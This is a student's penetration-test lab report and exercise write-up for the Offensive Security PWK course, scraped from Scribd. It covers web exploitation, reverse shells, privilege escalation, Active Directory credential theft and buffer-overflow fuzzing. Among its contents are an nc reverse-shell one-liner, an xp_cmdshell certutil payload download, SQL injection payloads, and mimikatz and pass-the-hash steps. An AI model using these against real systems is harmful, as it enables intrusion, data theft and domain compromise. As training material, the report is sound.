0% found this document useful (0 votes)
2K views356 pages

PWK Lab

The penetration test report summarizes the findings from testing internal systems at Offensive Security Labs. Several vulnerabilities were identified, including outdated software, poor security configurations, and default credentials. These issues allowed the tester to gain administrative access on multiple systems by exploiting SQL injection flaws, using hard-coded credentials, and executing arbitrary code remotely. Privilege escalation on one system provided root access. The report details the methodology and results for each targeted host.

Uploaded by

dmetivier
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2K views356 pages

PWK Lab

The penetration test report summarizes the findings from testing internal systems at Offensive Security Labs. Several vulnerabilities were identified, including outdated software, poor security configurations, and default credentials. These issues allowed the tester to gain administrative access on multiple systems by exploiting SQL injection flaws, using hard-coded credentials, and executing arbitrary code remotely. Privilege escalation on one system provided root access. The report details the methodology and results for each targeted host.

Uploaded by

dmetivier
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

OFFENSIVE SECURITY

Penetration Test Report for


Internal Lab
v.2.0

Copyright © 2022 Offensive Security Ltd. All rights reserved.


No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner,
including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any
broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without
prior written permission from Offensive Security.

Table of Contents
Offensive Security Lab Penetration Test Report 2
1. Objective 2
2. Lab Network 2
3. Exercises 53
1 | Page
Offensive Security Lab Penetration Test Report
1. Objective
OS-was tasked with performing an internal penetration test towards Offensive Security
Labs. An internal penetration test is a dedicated attack against internally connected
systems. The focus of this test is to perform attacks, similar to those of a hacker and
attempt to infiltrate Offensive Security’s internal lab systems – the [Link] and
[Link] domain. The overall objective was to evaluate the network, identify systems,
and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming
vulnerabilities that were identified on Offensive Security’s network. When performing the
attacks, OS- was able to gain access to multiple machines, primarily due to outdated
patches and poor security configurations. During the testing, OS- had administrative
level access to multiple systems. All systems were successfully exploited and access
granted.

2. Lab Network
Offensive Security Complete Guide machines (alpha and beta) may not be included in
your lab report, they are for demonstration purposes only.

2 | Page
[Link]

Enumeration
Initial nmap scan reveals several ports from which our attack surface is on ports 1512
which runs oracle tns listner and the other one is port 8080 which is an apache tomcat
webserver.

3 | Page
Directory bruteforcing apache tomcat reveals /blog/[Link] directory which is a login
page

4 | Page
Initial access

Passing single quote in the username field gives out an error page with oraclesql
database username,password and database name.

5 | Page
Using these credentials we attempt to log into oracle-tns listener using sqlplus and we
get a sql shell.
Using this sql shell we first dump the table name and then usernames and passwords of
users and admin.
To dump table names we use the query “SELECT owner, table_name FROM all_tables;”

6 | Page
2 tables named WEB_USERS and WEB_ADMIN has user and admin credentials
respectively.

7 | Page
Cracking the admin credential by using the web application [Link] reveals the
admin password to be “adminadmin”

Using the web_User credentials we log into the login page on /blog/[Link]
Username: eric
Password: thisismypassword

Admin login buttion on the page redirects us to /blog/[Link].

8 | Page
We use the credentials for admin from the WEB_ADMIN table we dumped earlier.
Username: admin
Password: adminadmin
After logging in we get a portal to upload files. Taking this feature at our advantage we
upload jsp reverse shell

9 | Page
This jsp reverse shell can be found out at
[Link]

Uploading the reverse the shell.

10 | Page
After Uploading the reverse shell we get code execution on the server. Through this
code execution we get reverse shell as nt authority\system by injecting powershell
base64 encoded payload.

Post-Exploitation

11 | Page
[Link]

Enumeration

Initial nmap scan reveals several ports and port 4167 on which iis http server is running,
this will be our entry point.

12 | Page
Directory bruteforcing reveals /[Link] directory which has a login panel.

13 | Page
Initial Foothold

The login panel is vulnerable to sql injection attack by using the “’ OR 1=1;--” in the
username and password fields we can bypass the login screen.

14 | Page
The 2 input fields “Artist Name” and “Song Name” are also vulnerable to sql injection. By
enabling xp_cmdshell by these set of payloads:
‘EXEC sp_configure 'show advanced options',1;--
‘RECONFIGURE;--
‘EXEC sp_configure 'xp_cmdshell',1;--
‘RECONFIGURE;--
We can get code execution on the server.
To get Remote code execution we first create a reverse shell executable using
msfvenom.

And start a python [Link]

15 | Page
To get reverse shell we execute the following payload in one of the input fields on the
webpage:
alice' EXEC xp_cmdshell '[Link] -urlcache -f [Link]
[Link]';--

And we get a reverse shell as the nt authority\system

Post-Exploitation

16 | Page
[Link]
Enumeration

Bruteforcing directories shows [Link] file.

Browsing and inspecting [Link] in browser shows it imports a script from hidd3nscript.

Searching hidd3n-script directory on the server shows obfuscated javascript code.

17 | Page
De-obfuscating the code from [Link] shows the contents of the code.

18 | Page
After understanding the code we can infer that it just creates a image tag with source
1f2e73705207bdd6467e109c1606ed29-21213/[Link].

19 | Page
The deobfuscated code contains names of lots of other gif, png and bmp files. Trying
each one of them and we land on [Link]. after searching this we get
redirected to [Link]
21213/111111111/[Link]

20 | Page
Bruteforcing directories /1f2e73705207bdd6467e109c1606ed29-21213/111111111/

Reveals index folder with a login page.

21 | Page
Initial Access

During dirsearch there was a mention of [Link] browsing it shows a installation text
file.

Form the file just a simple google search about SiTeFiLo exploits reveals a EDB exploit.
Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion -
PHP webapps Exploit ([Link])

22 | Page
Browsing for slog_users.txt reveals userid’s and passwords.

Using the other rfi vulnerability. We can execute a php reverse shell on the server.

23 | Page
Got reverse shell as user www-data

Enumerating users from /etc/passwd file reveals there Is a user named kibosh who’s
password was in the password file from above.

24 | Page
Changing the user from www-data to kibosh using the su command and entering the
password in the password file grants us shell as kibosh

Privilege-Escalataion
25 | Page
After further enumeration it Is found out that kibosh has rights to run ALL:ALL
commands.
So abusing this privilege we get root shell by sudo su.

Post exploitation.

[Link]
26 | Page
Initial enumeration

Searching for [Link] in the browser shows a webpage with tryharder images. On
the contact us page there are names of people working in the company in different
positions. There are names, Emails and birth years of the employees.

27 | Page
Directory burteforcing shows /passwords/ directory on the webserver.

28 | Page
Exploiring the directory reveals 4 files which have names of the employees as same as
on the contact us page.

29 | Page
Opening [Link] reveals a page with passwordbox.

The password hint says that year of birth is the password so going back at the contact
us page we can see that Alfred was born in 1988. So guessing the password “1988”
gives us access to the password protected content.

30 | Page
On this page we can see that there is a ssh server password “IHopeThisDoesNotExpire”
disclosed for user Alfred. Using these credentials we loginto the server as Alfred
successfully.

Initial Access

But our shell is restricted. To escape restricted shell we use the “-t bash --noprofile” flag.

On the home directory there is a README file. This file mentions that there is maybe a
docker container running on the system.

31 | Page
Privilege Escalation
Running [Link] privilege escalation script we can see that the /var/run/[Link]
file is writable which can pave our way to root account.

Mounting the socket and and running as localhost in system ubuntu with chrooting back
into hosts “/bin/bash” we get root privileges.

Post-Exploitation

32 | Page
[Link]
Nmap scan reveals ports 21,22,80,111,139,143,199,443,3306,32768.

33 | Page
Enumerating port 139 with metasploit’s auxiliary/scanner/smb/smb_version reveals the
host is running samba 2.2.7a

Initial Access
Samba 2.2.7a is vulnerable to Remote buffer overflow vulnerability which has a EDB
exploit available Samba < 2.2.8 (Linux/BSD) - Remote Code Execution - Multiple remote
Exploit ([Link]) CVE:2003-0201
Exploiting the vulnerability gives us revershell from root account.

34 | Page
Post exploitation

35 | Page
[Link]
Nmap enumeration shows port 80 open along with 21,22,110 and 143. Port 80 runs
apache webserver

Bruteforcing apachewebserver directories we get /administrator/ in which there is Cuppa


cms and /db in which there [Link], which Is phpLiteAdmin v1.9.3, it is used to
handle sqlite database.

36 | Page
The password for phpliteadmin is the default password “admin”. Upon logging in we can
create a php file with our desired payload to get reverse shell as described in this exploit
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection - PHP webapps Exploit
([Link]) EDB-ID:24044

In this exploit we forst create a database and insert a table into it, after that in the table
we insert out php code to get reverse shell. In my case I used “<?php echo
shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [Link] 139
>/tmp/f");?>”.
Even after creating this database file in order to get reverse shell we must be able to
browse this file but, unfortunately this file is not in the webserver’s directory. In order to

37 | Page
access this database file we must be able to chain a Remote/Local File Inclusion
vulnerability to access this file.
So, to get reverse shell we chain a LFI vulnerability in “cuppa cms Cuppa CMS -
'/[Link]' Local/Remote File Inclusion - PHP webapps Exploit ([Link])
EDB-ID:
25971.
We can see that the path to our revershell file is

So in order to access the file and get reverse shell we use payload
:[Link]
es/[Link]:
And we get a reverse shell as www-data

Further enumeration reveals that the host is using OS

Which is vulnerable to a kernel exploit that triggers local privilege escalation


vulnerability.
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation - Linux local Exploit
([Link]) CVE:2017-16995

Downloading, compiling and running the exploit on the host allows us to gain root
privileges.

38 | Page
Post-Exploitation

39 | Page
40 | Page
[Link]-123
This is a active directory network of machines with the domain name [Link]. In this set
[Link] is the domain controller and the other 3 machines are clients. Out of these
3 clients we get our initial access from [Link] and then move laterally to
compromise the domain controller.

[Link]

Enumeration
Initial Nmap scan reveals port 80 which will be of our interest is open.

Directory brute forcing on the http server on port 80 reveals /books directory

41 | Page
Upon browsing the /books directory in our web browser we get a welcome page of
“bizuno erp system”

42 | Page
Initial Access

Guessing the credentials of this erp username as “admin@[Link]” and password as


“admin”
We get logged in.

43 | Page
A quick google search reveals that bizuno library 3.1.7 is vulnerable to authenticated
remote code execution.
PhreeBooks 5.2.3 ERP - Remote Code Execution (2) - PHP webapps Exploit
([Link]) EDB-ID:
49524
Executing the exploit we get code execution on [Link]

44 | Page
Reverse shell is gained through powershell base64 encoded payload. Upon gaining
reverse shell further enumeraton reveals that there is cached tgs ticket for mssql server
running on [Link].
To dump these hashesh we use invoke-Kerberos.ps1 script.

45 | Page
Cracking this hash using hashcat we get the password a “shantewhite”

46 | Page
Post-exploitation

47 | Page
[Link]

Initial Access
Wmiexec to [Link] as sqlServer we get shell on [Link]. Upon further
enumeration by mimikatz we attempt to dump logoncredentials. And we get hash for
daisy.

48 | Page
Post-exploitation

49 | Page
[Link]

After dumping NTLM hash of daisy. We attempt passthehash attack on [Link] as


user daisy by using [Link].
After getting access to [Link] as daisy we further enumerate and dump
logonpasswords again using mimikatz, and we get NTLM hash of user David.

50 | Page
Post-Exploitation

51 | Page
[Link] the domain controller.

Initital enumeration
Nmap scan reveals that this is the domain controller, the scan of port 3389 shows the
common name is [Link]

52 | Page
Using the David user’s NTLM hash from [Link], we attempt to loginto the domain
controller using [Link] and get shell as user David who is local administrator on
the domain controller

53 | Page
Post-Exploitiation

54 | Page
3. Exercises

[Link] Exercises
1. Use man to look at the man page for one of your preferred commands.

2. Use man to look for a keyword related to file compression.

55 | Page
3. Use which to locate the pwd command on your Kali virtual

4. Use locate to locate [Link] on your Kali virtual machine.

5. Use find to identify any file (not directory) modified in the last day, NOT owned by the root user
and execute ls -l on them. Chaining/piping commands is NOT allowed!

56 | Page
2.5.3 Exercises (Reporting is not required for these
exercises) [Link] Exercises (Reporting is not required
for these exercises)

[Link] Exercises
1. Inspect your bash history and use history expansion to re-run a command from it.

57 | Page
2. Execute different commands of your choice and experiment browsing the history
through the shortcuts as well as the reverse-i-search facility.

58 | Page
[Link] Exercises

1. Use the cat command in conjunction with sort to reorder the content of the /etc/passwd file on
your Kali Linux system.

[Link] the output of the previous exercise to a file of your choice in your home
directory

59 | Page
[Link] Exercises

1. Using /etc/passwd, extract the user and home directory fields for all users on your Kali machine
for which the shell is set to /bin/false. Make sure you use a Bash one-liner to print the output to
the screen.

2. Copy the /etc/passwd file to your home directory (/home/kali).

3. Use cat in a one-liner to print the output of the /kali/passwd and replace all
instances of the “Gnome Display Manager” string with “GDM”.

60 | Page
[Link] Exercises
1. Download the archive from the following URL
[Link]
2. This archive contains the results of scanning the same target machine at different
times. Extract the archive and see if you can spot the differences by diffing the scans.

[Link] Exercises

1. Find files that have changed on your Kali virtual machine within the past 7 days by running a
specific command in the background.
61 | Page
2. Re-run the previous command and suspend it; once suspended, background it.

3. Bring the previous background job into the foreground.

62 | Page
3. Start the Firefox browser on your Kali system. Use ps and grep to identify Firefox’s PID.

4. Terminate Firefox from the command line using its PID.

[Link] Exercises

1. Start your apache2 web service and access it locally while monitoring its [Link] file in
realtime.

2. Use a combination of watch and ps to monitor the most CPU-intensive processes on your Kali
machine in a terminal window; launch different applications to see how the list changes in real
time
Command:- watch -c -n 1 ps -eo pid,ppid,%mem,%cpu,comm --sort=-%cpu
63 | Page
[Link] Exercise

1. Download the PoC code for an exploit from [Link] using curl, wget, and
axel, saving each download with a different name

64 | Page
[Link] Exercises
1. Create an alias named “..” to change to the parent directory and make it persistent across
terminal sessions.

2. Permanently configure the history command to store 10000 entries and include the full date
in its output.

65 | Page
[Link] Exercises
1. Use socat to transfer powercat.ps1 from your Kali machine to your Windows system. Keep the
file on your system for use in the next section.

• Listener started

• Establishing connection

[Link] socat to create an encrypted reverse shell from your Windows system to
your Kali machine.
• Generating certificate and key files on Kali linux(attacker) and combining them to
.pem file

66 | Page
• Starting Listener

• Initiating connection from target machine(windows) and receiving reverse shell

3. Create an encrypted bind shell on your Windows system. Try to connect to it from Kali
without encryption. Does it still work?
• Starting Listener on target(Windows).
67 | Page
• Attempting to connect to the encrypted bind shell without encryption from
attacker(Kali Linux).

• Conclusion: Doesn’t Connect to the encrypted bind shell.

4. Make an unencrypted socat bind shell on your Windows system. Connect to the shell using
Netcat. Does it work?
• Creating a Bindshell listener using socat on Target(Windows).

• Attempting to connect to the socat bindshell listener using netcat from attacker(Kali
Linux) machine.

68 | Page
• Conclusion: Connection was successful.

[Link] Exercises
1. Use PowerShell and powercat to create a reverse shell from your Windows system to your
Kali machine.
• Powershell Reverse shell

• Powercat reverse shell

69 | Page
2. Use PowerShell and powercat to create a bind shell on your Windows system and connect to
it from your Kali machine. Can you also use powercat to connect to it locally?
• Powershell Bind shell

• Powercat Bind shell

• Can you also use powercat to connect to it locally?


• Ans: NO
70 | Page
3. Use powercat to generate an encoded payload and then have it executed through
powershell. Have a reverse shell sent to your Kali machine, also create an encoded bind shell
on your Windows system and use your Kali machine to connect to it.

• Powercat Encoded Reverse shell payload

71 | Page
72 | Page
• Powercat encoded bind shell

[Link] Exercises
1. Use Wireshark to capture network activity while attempting to connect to
[Link] on port 110 using Netcat, and then attempt to log into it.

73 | Page
2. Read and understand the output. Where is the three-way handshake happening? Where is
the connection closed?
• Three way Handshake happens at the very first 3 packets

• Last 3 packets before closing connection

3. Follow the TCP stream to read the login attempt.

74 | Page
4. Use the display filter to only monitor traffic on port 110. 5. Run a new session, this time using
the capture filter to only collect traffic on port 110

75 | Page
5. Run a new session, this time using the capture filter to only collect traffic on port 110.

76 | Page
[Link] Exercises

1. Use tcpdump to recreate the Wireshark exercise of capturing traffic on port 110.

77 | Page
[Link] the -X flag to view the content of the packet. If data is truncated, investigate
how the -s flag might help.
SOL:-Here using the -X option we can see the packets in hex and ascii and with the -s flag we can
reduce the data that is being truncated in the STDOUT -s flag(snaplen) has to be paired with a
numerical value ranging from 0-65535 for fine control over how much data will be truncated. 0
means no truncation of data.

[Link] all ‘SYN’, ‘ACK’, and ‘RST’ packets in the password_cracking_filtered.pcap


file.
SYN packets

78 | Page
ACK packets

79 | Page
RST packets

4. An alternative syntax is available in tcpdump where you can use a more user-friendly filter to
display only ACK and PSH packets. Explore this syntax in the tcpdump manual by searching
for “tcpflags”. Come up with an equivalent display filter using this syntax to filter ACK and
PSH packets.

Command: tcpdump -A 'tcp[tcpflags] & (tcp-ack|tcp-push) != 0' -r


password_cracking_filtered.pcap -s 0

80 | Page
[Link] Exercises
1. Research Bash loops and write a short script to perform a ping sweep of your target IP
range of [Link]/24.

script:

#!/bin/bash

for ((i=0;i<=254;i++));

ip=10.11.1.$i ping -c 1 -w 1 $ip | grep "64 bytes" | cut -d " "

-f 4 | tr -d ":"

81 | Page
2. Try to do the above exercise with a higher-level scripting language such as Python, Perl,
or Ruby. Script(python): #!/usr/bin/python import os

for i in range(1,256):

#str(i) ip=("10.11.1.%s" %i) response = [Link]("ping

-c 1 -w 1 %s > /dev/null" %ip) if response == 0: print("%s

UP" %ip) else:

print("%s No response" %ip)

print("Ping sweep complete")

82 | Page
3. Use the practical examples in this module to help you create a Bash script that extracts
JavaScript files from the access_log.txt file
([Link] Make sure the file
names DO NOT include the path, are unique, and are sorted.
Script:- cat access_log.txt | grep .js | cut -d '/' -f 5 | awk '{print $1}' | sed '/.css/d' | sort u

4. Re-write the previous exercise in another language such as Python, Perl, or Ruby.

83 | Page
[Link] Exercise

[Link] the whois tool in Kali to identify the name servers of MegaCorp One.

[Link] Exercises
1. Who is the VP of Legal for MegaCorp One and what is their email address?

84 | Page
3. Use Google dorks (either your own or any from the GHDB) to search [Link] for
interesting documents.

85 | Page
4. What other MegaCorp One employees can you identify that are not listed on
[Link]?

86 | Page
Names: Gabriel cook, William Adler, Javier Ruiz.

[Link] Exercise

1. Use Netcraft to determine what application server is running on [Link].

87 | Page
[Link] Exercise (Reporting is not required for this
exercise+)

[Link] Exercise
1. Search Megacorpone’s GitHub repos for interesting or sensitive information.

[Link] Exercises

1. Use theHarvester to enumerate emails addresses for [Link].

88 | Page
2. Experiment with different data sources (-b). Which ones work best for you? Ans:
Google works best.

89 | Page
[Link] Exercise
1. Use any of the social media tools previously discussed to identify additional
MegaCorp One employees.

[Link] Exercises
1. Find the DNS servers for the [Link] domain.

[Link] a small script to attempt a zone transfer from [Link] using a


higherlevel scripting language such as Python, Perl, or Ruby. Script:
#!/bin/python3
# A Simple function that finds NS records, resolves their IP, and attempts a
DNS Zone Transfer
import [Link] import
[Link]
ns_servers = [] def
90 | Page
dns_zone_xfer(address)
:
ns_answer = [Link](address, 'NS')
for server in ns_answer:
print("[*] Found NS: {}".format(server))
ip_answer = [Link]([Link], 'A')
for ip in ip_answer:
print("[*] IP for {} is {}".format(server, ip))
try:
zone = [Link].from_xfr([Link](str(ip), address))
for host in zone:
print("[*] Found Host: {}".format(host))
except Exception as e:
print("[*] NS {} refused zone transfer!".format(server))
continue

dns_zone_xfer('[Link]')

# end of script

[Link] the example above and use dnsrecon to attempt a zone transfer from
[Link].
root@stu-1 ~/pen200/exercise dnsrecon -d [Link]
-axfr
[*] std: Performing General Enumeration against:
[Link]...
[*] Checking for Zone Transfer for [Link] name servers
[*] Resolving SOA Record [+] SOA
[Link] [Link]
[*] Resolving NS Records
[*] NS Servers found:
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*]

91 | Page
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS [Link] [Link]
[*] NS [Link] [Link] [*]
NS [Link] [Link]
[*] TXT Try Harder
[*] TXT
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5
pA
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link] [*]
MX @.[Link] [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link] [*]
A [Link] [Link]
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*] Checking for Zone Transfer for [Link] name servers
[*] Resolving SOA Record [+] SOA
[Link] [Link]
92 | Page
[*] Resolving NS Records
[*] NS Servers found:
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS [Link] [Link]
[*] NS [Link] [Link] [*]
NS [Link] [Link]
[*] TXT Try Harder
[*] TXT
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5
pA
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link] [*]
MX @.[Link] [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
93 | Page
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link] [*]
A [Link] [Link]
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[-] DNSSEC is not configured for [Link]
[*] SOA [Link] [Link]
[*] NS [Link] [Link]
[*] NS [Link] [Link]
[*] NS [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link] [*]
TXT [Link]
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXf
CJ32hMNV3GtC0wWq5pA
[*] TXT [Link] Try Harder
[*] Enumerating SRV Records
[+] 0 Records Found
[*] Saving records to XML file: fr

[Link] Exercises
1. Use Nmap to conduct a ping sweep of your target IP range and save the output to a file.
Use grep to show machines that are online.
94 | Page
[Link] the IP addresses you found in exercise 1 for open webserver ports. Use
Nmap to find the webserver and operating system versions.

95 | Page
3. Use NSE scripts to scan the machines in the labs that are running the SMB service.

96 | Page
4. Use Wireshark to capture a Nmap connect and UDP scan and compare it against the Netcat
port scans. Are they the same or different?

Ans: Netcat port scan and Nmap connect scan are the same because both scans perform
complete connection that is SYN-SYN/ACK-ACK with the target which generates more traffic
than nmap stealth scan.

5. Use Wireshark to capture a Nmap SYN scan and compare it to a connect scan and identify
the difference between them.

Ans: Nmap SYN(stealth scan) and nmap connect scan have one major
difference. In stealth scan connection made with the target is incomplete
SYNSYN/ACK-RST which in turn reduces network traffic and speeds up the
scan.
Where as in connect scan a complete connection is made
ACK-SYN/ACKACK which generates a lot of network taffic and slows down
the scanning process.

97 | Page
[Link] Exercises
1. Use Nmap to make a list of the SMB servers in the lab that are running
Windows.

[Link] NSE scripts to scan these systems for SMB vulnerabilities.

3. Use nbtscan and enum4linux against these systems to identify the types of data you can obtain
from different versions of Windows

nbtscan

98 | Page
Enum4linux

[Link] Exercises

1. Use Nmap to make a list of machines running NFS in the labs.

99 | Page
2. Use NSE scripts to scan these systems and collect additional information about accessible
shares.

100 | Page
[Link] Exercises
1. Search your target network range to see if you can identify any systems that respond to the

SMTP VRFY command.

Nmap scan using a script that sends VRFY command

2. Try using this Python code to automate the process of username discovery using a text file

with usernames as input.

Usernames file

101 | Page
102 | Page
[Link] Exercises

1. Scan your target network with onesixtyone to identify any SNMP servers.

2. Use snmpwalk and snmp-check to gather information about the discovered targets.

103 | Page
104 | Page
[Link] Exercises
1. Follow the steps above to create your own unauthenticated scan of Gamma.
Steps:

1. Defining target

2. Configuring Scan Definitions

105 | Page
3. Launching Scan
3. Run the scan with Wireshark open and identify the steps the scanner performed to
completed the scan. Ans:

As we can see in the screenshot below Nessus first scans for common ports.

106 | Page
After discovering common open ports the scanner then enumerates services on the
target machine automatically. In the screenshot below we can see that the scanner
attempts to enumerate Netbios -ssn and SMB service.

107 | Page
After that the scanner performs full port scanning on the target as we
can see from the screenshot below there are a lot of TCP SYN packets
being sent to the target.

Now as we can see in the screenshot below the scanner has discovered open port 80
and is now scanning the HTTP server on port 80 for vulnerabilities.

108 | Page
4. Review the results of the scan.

The Scan has discovered a lot of information some medium vulnerablites and some
Critical Vulnerabilities related to CGI bin attacks.

109 | Page
[Link] Exercises
1. Follow the steps above to create your own authenticated scan of your Debian client.

110 | Page
2. Review the results of the scan.

111 | Page
[Link] Exercises
1. Follow the steps above to create your own individual scan of Beta.

112 | Page
113 | Page
114 | Page
3. Run Wireshark or tcpdump during the individual scan. What other ports does Nessus scan? Why
do you think Nessus scans other ports?

Many plugins check the port state of hardcoded default ports before connecting to them.
Ports outside of the port scan range would have an unknown state because they weren't scanned. By
default, get_port_state() will return TRUE when the port state is unknown. This will result in the
connection being attempted. There is an option in the policy settings "Consider unscanned ports as
closed" that will cause get_port_state() to return FALSE when the state is unknown. This option will
prevent connection attempts to ports outside the port range (as long as the connection has a state
check before it).
4. Review the results of the scan.

115 | Page
[Link] Exercise
1. Find an NSE script similar to the NFS Exported Share Information Disclosure that
was executed in the “Scanning with Individual Nessus Plugins” section. Once found, run
the script against Beta in the PWK labs.

116 | Page
117 | Page
[Link] Exercise
1. Spend some time reviewing the applications available under the Web Application
Analysis menu in Kali Linux. nikto

Burpsuit

118 | Page
Dirbuster

119 | Page
[Link] Exercises
1. Use Burp Intruder to gain access to the phpMyAdmin site running on your Windows
10 lab machine.
Inspecting site source code for set_session parameter

120 | Page
Setting delimiter

121 | Page
Assigning recursive grep to payload

122 | Page
Running intruder

123 | Page
3. Insert a new user into the “users” table

124 | Page
[Link] Exercises
1. Exploit the XSS vulnerability in the sample application to get the admin cookie and
hijack the session. Remember to use the PowerShell script on your Windows 10 lab
machine to simulate the admin login. Injected payload.

Using admin_login.ps1 to simulate login.

Captured Session cookie

125 | Page
Adding the admin cookie to our session

126 | Page
Session Hijacked

2. Consider what other ways an XSS vulnerability in this application might be used for attacks.

Destruction of key site elements.

127 | Page
As you can see in the screenshot above the option to create a comment is destroyed.

3. Does this exploit attack the server or clients of the site?

Ans: This attack affects the clients of the site.

[Link] Exercise

128 | Page
1. Exploit the directory traversal vulnerability to read arbitrary files on your Windows 10 lab
machine.

129 | Page
[Link] Exercises
1. Obtain code execution through the use of the LFI attack. Sent payload.

Code execution.

130 | Page
2. Use the code execution to obtain a full shell.

Created a php webshell payload file with msfvenom and started a smbserver

131 | Page
Transferred payload to target via smb

132 | Page
Using LFI vulnerability to execute webshell

133 | Page
Got shell as student

[Link] Exercises
1. Exploit the RFI vulnerability in the web application and get a shell.

Started a python httpserver on port 80 and created a php webshell

134 | Page
135 | Page
Added url of my machine [Link] in the file parameter and got the
shell.

3. Using /[Link]?file=current_menu as a starting point, use RFI to get a shell.

Started a python httpserver on port 80 and created a php webshell

136 | Page
Upon making the request we can see in the screen shot below that it is not able to find the file
even though I have hosted the file on my python server

137 | Page
Upon looking at the python server STDOUT we can see that request is being made by the target
to the attacker machine but the request has repeated .php extension

138 | Page
So now we make a request to attacker machine without the .php file extension

[Link] and we

receive a shell

139 | Page
4. Use one of the webshells included with Kali to get a shell on the Windows 10 target.

Using the webshell in “/usr/share/webshells/php/[Link]”

140 | Page
[Link] Exercises
1. Exploit the LFI vulnerability using a PHP wrapper.

141 | Page
2. Use a PHP wrapper to get a shell on your Windows 10 lab machine.

Using the php wrapper with powershell base64 encoded payload

142 | Page
[Link] Exercises
1. Interact with the MariaDB database and manually execute the commands required to
authenticate to the application. Understand the vulnerability.
Executing the sql query used by the webapp at the time of login it displays table.

143 | Page
Upon adding a double quote in the username field after admin and adding ‘OR 1=1 #’ to
make the statement true and the further become a comment . We are able to dump the
whole table.

[Link] inject the username field to bypass the login process.

144 | Page
145 | Page
3. Why is the username displayed like it is in the web application once the authentication
process is bypassed?
Ans: echo "<h2>Welcome " . $_SESSION['user'] “ here in the code the username is displayed
based upon what we enter in the username textbox in [Link] and that is why we see the
sqlinjection query in the username.

4. Execute the SQL injection in the password field. Is the “LIMIT 1” necessary in the payload?
Why or why not?

Ans: “LIMIT 1” is necessary because some programming languages have functions that query
the database and expect a single record. If these functions get more than one row, they will
generate an error.

[Link] Exercises
1. Enumerate the structure of the database using SQL injection.

146 | Page
Getting username

2. Understand how and why you can pull data from your injected commands and have it displayed
on the screen.

3. Extract all users and associated passwords from the database.


147 | Page
148 | Page
[Link] Exercises
1. Exploit the SQL injection along with the MariaDB INTO OUTFILE function to obtain
code execution.
Injecting code into sql query

Code execution

149 | Page
2. Turn the simple code execution into a full shell.
Using powershell base 64 encoded payload

150 | Page
[Link] Exercises
1. Use sqlmap to obtain a full dump of the database.

151 | Page
2. Use sqlmap to obtain an interactive shell.

9.5.1 Exercises (Reporting is not required for these exercises)

152 | Page
10.2.5 Exercises
1. Repeat the steps shown in this section to see the 12 A’s copied onto the stack.
Passing 12 A’s as argument to [Link]

Executing the program till return instruction we can see 12 A’s onto the stack as hex ‘41’

153 | Page
2. Supply at least 80 A’s and verify that EIP after the strcpy will contain the value
41414141.
80 A’s using python

Using 80 A’s as argument to [Link]

EIP overwritten

154 | Page
[Link] Exercises
1. Build the fuzzer and replicate the SyncBreeze crash.

Fuzzer made in python3

155 | Page
2. Inspect the content of other registers and stack memory. Does anything seem to be
directly influenced by the fuzzing input?

156 | Page
EIP register is overwritten with A's

[Link] Exercises
1. Write a standalone script to replicate the crash.

157 | Page
2. Determine the offset within the input buffer to successfully control EIP.

[Link] your standalone script to place a unique value into EIP to ensure your offset is
correct.

158 | Page
159 | Page
[Link] Exercises
1. Repeat the required steps in order to identify the bad characters that cannot be included in
the payload.

Script serving badchars

160 | Page
161 | Page
Using [Link] to identify badchars

